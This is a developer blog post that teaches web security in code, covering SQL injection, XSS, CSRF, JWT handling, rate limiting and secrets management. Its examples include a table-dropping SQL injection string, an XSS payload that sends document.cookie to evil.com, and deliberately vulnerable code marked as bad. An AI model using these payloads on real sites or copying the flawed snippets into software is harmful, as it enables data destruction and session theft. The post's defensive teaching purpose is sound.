Web Security Every Developer Must Know in 2026
Security10 min read

Web Security Every Developer Must Know in 2026

Vighnesh Salunkhe

Vighnesh Salunkhe

Full Stack Developer

Published

April 29, 2026

Web Security Every Developer Must Know in 2026

Web Security Every Developer Must Know in 2026

Security is not a feature you bolt on after launch. It is a discipline you build into every line of code from day one. The average cost of a data breach in 2026 is $4.9 million. The average time to detect one is 194 days. Most breaches exploit vulnerabilities that were known, documented, and preventable.

This guide is practical and code-first. No vague advice — just the attacks, how they work, and exactly how to stop them.

"Security is always excessive until it's not enough." — Robbie Sinclair


1. Injection Attacks: Still the #1 Killer

SQL injection has been on the OWASP Top 10 for over two decades. It is still responsible for thousands of breaches every year. The reason: developers keep concatenating user input into queries.

The Vulnerable Code

text
// NEVER do this — classic SQL injection
app.get('/users', async (req, res) => {
  const { name } = req.query;

  // If name = "'; DROP TABLE users; --"
  // This query becomes: SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
  const query = `SELECT * FROM users WHERE name = '${name}'`;
  const users = await db.raw(query);
  res.json(users);
});

The Fix: Parameterized Queries

text
// Always use parameterized queries or an ORM
import { db } from '@/lib/database';

// Option 1: Parameterized query (raw SQL)
app.get('/users', async (req, res) => {
  const { name } = req.query;
  // The driver handles escaping — user input never touches the query string
  const users = await db.raw('SELECT * FROM users WHERE name = ?', [name]);
  res.json(users);
});

// Option 2: ORM (Prisma) — parameterized by default
app.get('/users', async (req, res) => {
  const { name } = req.query;
  const users = await prisma.user.findMany({
    where: { name: String(name) },
  });
  res.json(users);
});

// Option 3: Input validation before it even reaches the DB
import { z } from 'zod';

const querySchema = z.object({
  name: z.string().min(1).max(100).regex(/^[a-zA-Z\s]+$/),
});

app.get('/users', async (req, res) => {
  const result = querySchema.safeParse(req.query);
  if (!result.success) return res.status(400).json({ error: 'Invalid input' });

  const users = await prisma.user.findMany({
    where: { name: result.data.name },
  });
  res.json(users);
});
NoSQL databases are not immune. MongoDB is vulnerable to operator injection. Always validate and sanitize input regardless of your database technology.

2. Cross-Site Scripting (XSS)

XSS lets attackers inject malicious scripts into pages viewed by other users. It can steal session cookies, redirect users, or silently exfiltrate data.

Stored XSS Example

text
// Vulnerable: storing and rendering raw user input
// User submits: <script>fetch('https://evil.com/steal?c='+document.cookie)</script>

// BAD — rendering raw HTML
function CommentList({ comments }: { comments: Comment[] }) {
  return (
    <div>
      {comments.map(c => (
        // dangerouslySetInnerHTML with unsanitized content = XSS
        <div key={c.id} dangerouslySetInnerHTML={{ __html: c.body }} />
      ))}
    </div>
  );
}
text
// GOOD — React escapes by default, use text content
function CommentList({ comments }: { comments: Comment[] }) {
  return (
    <div>
      {comments.map(c => (
        // React automatically escapes this — no XSS possible
        <div key={c.id}>{c.body}</div>
      ))}
    </div>
  );
}

// If you MUST render HTML (e.g., rich text from a CMS), sanitize first
import DOMPurify from 'isomorphic-dompurify';

function RichContent({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'h2', 'h3'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Content Security Policy (CSP)

CSP is your last line of defense against XSS. It tells the browser which sources are allowed to execute scripts.

text
// next.config.mjs — add security headers
const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: [
      "default-src 'self'",
      "script-src 'self' 'nonce-{NONCE}'",  // Only scripts with valid nonce
      "style-src 'self' 'unsafe-inline'",    // Tailwind needs this
      "img-src 'self' data: https:",         // Allow external images
      "font-src 'self'",
      "connect-src 'self' https://api.yourapp.com",
      "frame-ancestors 'none'",              // Prevent clickjacking
    ].join('; '),
  },
  { key: 'X-Frame-Options', value: 'DENY' },
  { key: 'X-Content-Type-Options', value: 'nosniff' },
  { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
  { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
];

export default {
  async headers() {
    return [{ source: '/(.*)', headers: securityHeaders }];
  },
};

3. Authentication and Session Security

Broken authentication is OWASP #2. The mistakes are almost always the same.

Password Hashing

text
import bcrypt from 'bcryptjs';

// NEVER store plain text passwords
// NEVER use MD5 or SHA1 for passwords

// Registration
async function createUser(email: string, password: string) {
  // Cost factor 12 = ~250ms on modern hardware (good balance)
  // Higher = slower brute force, but also slower login
  const hashedPassword = await bcrypt.hash(password, 12);

  return prisma.user.create({
    data: { email, password: hashedPassword },
  });
}

// Login
async function verifyPassword(plaintext: string, hash: string): Promise<boolean> {
  // bcrypt.compare is timing-safe — prevents timing attacks
  return bcrypt.compare(plaintext, hash);
}

JWT Best Practices

text
import jwt from 'jsonwebtoken';

const ACCESS_TOKEN_SECRET = process.env.JWT_ACCESS_SECRET!;
const REFRESH_TOKEN_SECRET = process.env.JWT_REFRESH_SECRET!;

// Short-lived access token + long-lived refresh token
function generateTokens(userId: string) {
  const accessToken = jwt.sign(
    { sub: userId, type: 'access' },
    ACCESS_TOKEN_SECRET,
    { expiresIn: '15m' }  // Short expiry — limits damage if stolen
  );

  const refreshToken = jwt.sign(
    { sub: userId, type: 'refresh' },
    REFRESH_TOKEN_SECRET,
    { expiresIn: '7d' }
  );

  return { accessToken, refreshToken };
}

// Verify with explicit algorithm — prevents algorithm confusion attacks
function verifyAccessToken(token: string) {
  return jwt.verify(token, ACCESS_TOKEN_SECRET, {
    algorithms: ['HS256'],  // Never allow 'none' algorithm
  });
}
text
// Store refresh tokens in httpOnly cookies — not localStorage
// localStorage is accessible to JavaScript (XSS can steal it)
// httpOnly cookies are NOT accessible to JavaScript

export async function POST(req: Request) {
  const { email, password } = await req.json();
  const user = await authenticateUser(email, password);
  const { accessToken, refreshToken } = generateTokens(user.id);

  const response = NextResponse.json({ accessToken, user });

  // Refresh token in httpOnly cookie
  response.cookies.set('refresh_token', refreshToken, {
    httpOnly: true,   // Not accessible via document.cookie
    secure: true,     // HTTPS only
    sameSite: 'lax',  // CSRF protection
    maxAge: 60 * 60 * 24 * 7, // 7 days
    path: '/api/auth/refresh',
  });

  return response;
}
Never store JWTs or session tokens in
text
localStorage
. It is accessible to any JavaScript on the page — including injected scripts. Use
text
httpOnly
cookies.

4. CSRF: Cross-Site Request Forgery

CSRF tricks authenticated users into making unintended requests. A malicious site can submit a form to your API using the victim's cookies.

text
// Middleware: CSRF protection for state-changing routes
import { NextRequest, NextResponse } from 'next/server';
import crypto from 'crypto';

// Double-submit cookie pattern
export function generateCsrfToken(): string {
  return crypto.randomBytes(32).toString('hex');
}

export function validateCsrfToken(req: NextRequest): boolean {
  const cookieToken = req.cookies.get('csrf_token')?.value;
  const headerToken = req.headers.get('x-csrf-token');

  if (!cookieToken || !headerToken) return false;

  // Timing-safe comparison
  return crypto.timingSafeEqual(
    Buffer.from(cookieToken),
    Buffer.from(headerToken)
  );
}

// In your API routes
export async function POST(req: NextRequest) {
  if (!validateCsrfToken(req)) {
    return NextResponse.json({ error: 'Invalid CSRF token' }, { status: 403 });
  }
  // ... handle request
}
Next.js Server Actions have built-in CSRF protection via the
text
Origin
header check. But custom API routes (
text
/api/*
) do not — you need to add it manually for any state-changing endpoint.

5. Rate Limiting and Brute Force Protection

Without rate limiting, your login endpoint is an open invitation for credential stuffing attacks.

text
// Using Upstash Redis for distributed rate limiting
import { Ratelimit } from '@upstash/ratelimit';
import { Redis } from '@upstash/redis';

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, '15 m'), // 5 attempts per 15 minutes
  analytics: true,
});

export async function POST(req: NextRequest) {
  const ip = req.headers.get('x-forwarded-for') ?? '127.0.0.1';
  const identifier = `login:${ip}`;

  const { success, limit, reset, remaining } = await ratelimit.limit(identifier);

  if (!success) {
    return NextResponse.json(
      { error: 'Too many login attempts. Try again later.' },
      {
        status: 429,
        headers: {
          'X-RateLimit-Limit': String(limit),
          'X-RateLimit-Remaining': String(remaining),
          'X-RateLimit-Reset': String(reset),
          'Retry-After': String(Math.ceil((reset - Date.now()) / 1000)),
        },
      }
    );
  }

  // Proceed with authentication
  const { email, password } = await req.json();
  // ...
}

6. Dependency Security: The Supply Chain Problem

In 2026, supply chain attacks are the fastest-growing attack vector. The

text
node_modules
folder is a massive attack surface.

text
# Audit your dependencies regularly
npm audit

# Fix automatically where possible
npm audit fix

# Check for known malicious packages
npx is-website-vulnerable https://yoursite.com

# Pin exact versions in package.json (not ranges)
# BAD:  "lodash": "^4.17.0"   ← could install 4.17.21 with a vulnerability
# GOOD: "lodash": "4.17.21"   ← exact version, predictable
text
# Use lockfiles and verify them in CI
# package-lock.json or yarn.lock must be committed and verified

# GitHub Dependabot — enable in .github/dependabot.yml
text
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    # Auto-merge patch updates
    groups:
      patch-updates:
        update-types: ["patch"]
The
text
event-stream
incident (2018),
text
ua-parser-js
(2021), and
text
node-ipc
(2022) all involved malicious code injected into popular npm packages. A package with millions of weekly downloads is not automatically safe.

7. Environment Variables and Secrets Management

text
// NEVER commit secrets to git
// NEVER log secrets
// NEVER expose server secrets to the client

// next.config.mjs — only expose what the client needs
export default {
  env: {
    // These are exposed to the browser — only public values
    NEXT_PUBLIC_APP_URL: process.env.NEXT_PUBLIC_APP_URL,
    NEXT_PUBLIC_POSTHOG_KEY: process.env.NEXT_PUBLIC_POSTHOG_KEY,
  },
  // Server-only secrets are accessed via process.env directly
  // They are NEVER sent to the client
};

// Validate all env vars at startup
import { z } from 'zod';

const envSchema = z.object({
  DATABASE_URL: z.string().url(),
  JWT_SECRET: z.string().min(32),
  OPENAI_API_KEY: z.string().startsWith('sk-'),
  NEXT_PUBLIC_APP_URL: z.string().url(),
});

// This throws at build time if any required env var is missing
export const env = envSchema.parse(process.env);
text
# .gitignore — make sure these are always ignored
.env
.env.local
.env.production
.env*.local
*.pem
*.key
secrets/
Searching GitHub for
text
process.env.DATABASE_URL
or
text
sk-
(OpenAI key prefix) returns thousands of accidentally committed secrets. Use
text
git-secrets
or
text
truffleHog
in your CI pipeline to catch this before it reaches the repo.

8. Security Headers Checklist

text
// middleware.ts — apply security headers to every response
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
  const response = NextResponse.next();

  // Prevent MIME type sniffing
  response.headers.set('X-Content-Type-Options', 'nosniff');

  // Prevent clickjacking
  response.headers.set('X-Frame-Options', 'DENY');

  // Force HTTPS for 1 year, include subdomains
  response.headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');

  // Control referrer information
  response.headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');

  // Disable browser features you don't use
  response.headers.set('Permissions-Policy', 'camera=(), microphone=(), geolocation=(), payment=()');

  return response;
}

9. The Security Mindset

PrincipleWhat it means in practice
Least PrivilegeAPI keys, DB users, and IAM roles should have only the permissions they need
Defense in DepthMultiple layers — validation, auth, rate limiting, CSP, monitoring
Fail SecureWhen something goes wrong, default to denying access, not granting it
Zero TrustVerify every request, even from internal services
Shift LeftFind vulnerabilities in development, not production
Run
text
npm audit
, add security headers, use parameterized queries, store tokens in httpOnly cookies, and validate all input with Zod. These five things alone will protect you from the vast majority of real-world attacks.

Watch: Web Security Fundamentals

Video thumbnail
Watch on YouTube

The Bottom Line

Security is not about being paranoid. It is about being systematic. Most breaches are not sophisticated zero-days — they are basic mistakes that were never fixed. Parameterize your queries. Hash your passwords. Validate your inputs. Add security headers. Audit your dependencies.

Do these things consistently and you will be more secure than 90% of the web.

#Security#OWASP#Node.js#Next.js#Auth#CSP#SQL Injection
Vighnesh Salunkhe
Written by

Vighnesh Salunkhe

"Passionate about building scalable web applications and exploring the intersection of AI and human creativity."

Join the Conversation

Share your thoughts or ask a question

Share this article